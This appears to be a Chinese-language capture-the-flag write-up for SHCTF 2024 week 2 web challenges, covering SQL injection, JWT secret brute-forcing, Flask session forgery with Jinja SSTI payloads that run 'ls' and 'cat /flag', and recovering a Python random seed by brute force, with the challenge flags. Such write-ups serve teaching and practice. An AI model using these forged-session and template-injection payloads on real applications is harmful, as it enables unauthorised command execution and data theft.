SHCTF-2024-week2-wp
[TOC]
web
[Week2]自助查询
考点:sql注入
看到查询语句,直接sql注入
说明只有两列
查看当前数据库
查看’ctf’数据库下面的表
查看’flag’下的字段
查看’scretddata’的内容
根据提示,说明在注释里面
找到flag
SHCTF{5elf_s3RvICe_SEARch_334c747eabdf}
[Week2]登录验证
考点:jwt密钥爆破
爆破密码,是admin
抓包查看,发现有token
进行jwt密钥爆破,得到密钥为222333
使用密钥加密,把role改成admin,然后替换token发包就能拿到flag
[Week2]入侵者禁入
考点:session伪造+SSTI模板注入
分析这段代码,知道Flask的secret.key,想到Flask_session伪造
render_template_string()函数想到SSTI漏洞。
使用flask_session_cookie_manager工具构造payload
1 2 3 4 5 6 7
| python flask_session_cookie_manager3.py decode -c "eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZvZ8IQ.B9Q1a7gFQvzs4Q3bGldXuiGHULg" -s "0day_joker"
python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls").read()}}', 'is_admin': 1}}"
python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls /").read()}}', 'is_admin': 1}}"
python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("cat /flag").read()}}', 'is_admin': 1}}"
|
修改session就能拿到flag。
[Week2]guess_the_number
考点:随机数
在伪随机数生成器(PRNG)中,一个种子并不只生成一个随机数。相反,它生成的是一个伪随机数序列。每次调用 random.randint()
或其他类似方法时,伪随机数生成器会根据当前的内部状态生成下一个随机数。因此,给定相同的种子,可以生成一系列相同的随机数
访问 /s0urce下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import flask import random from flask import Flask, request, render_template, send_file
app = Flask(__name__)
@app.route('/') def index(): return render_template('index.html', first_num = first_num)
@app.route('/s0urce') def get_source(): file_path = "app.py" return send_file(file_path, as_attachment=True) @app.route('/first') def get_first_number(): return str(first_num) @app.route('/guess') def verify_seed(): num = request.args.get('num') if num == str(second_num): with open("/flag", "r") as file: return file.read() return "nonono" def init(): global seed, first_num, second_num seed = random.randint(1000000,9999999) random.seed(seed) first_num = random.randint(1000000000,9999999999) second_num = random.randint(1000000000,9999999999)
init() app.run(debug=True)
|
分析可知,生成一个随机数,让我们预测下一个随机数。
在伪随机数生成器(PRNG)中,一个种子并不只生成一个随机数。相反,它生成的是一个伪随机数序列。每次调用 random.randint()
或其他类似方法时,伪随机数生成器会根据当前的内部状态生成下一个随机数。因此,给定相同的种子,可以生成一系列相同的随机数
所以可以使用脚本找到种子,然后就能预测下一个随机数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import random
# 已知的 first_num known_first_num = 6296819177
# 定义种子的范围 seed_min = 1000000 seed_max = 9999999
def find_seed(known_first_num, seed_min, seed_max): for seed in range(seed_min, seed_max + 1): # 用当前种子设置随机数生成器 random.seed(seed) # 生成一个随机数 first_num = random.randint(1000000000, 9999999999) # 检查生成的随机数是否与已知的相同 if first_num == known_first_num: print(f"找到了种子: {seed}") return seed
print("未找到匹配的种子") return None
# 调用函数查找种子 found_seed = find_seed(known_first_num, seed_min, seed_max)
|
根据找到的种子找出下一个随机数
输入拿到flag
SHCTF{th1s_Num8eR_is_EaSy_Gu3Ss_29c737b0d2ae}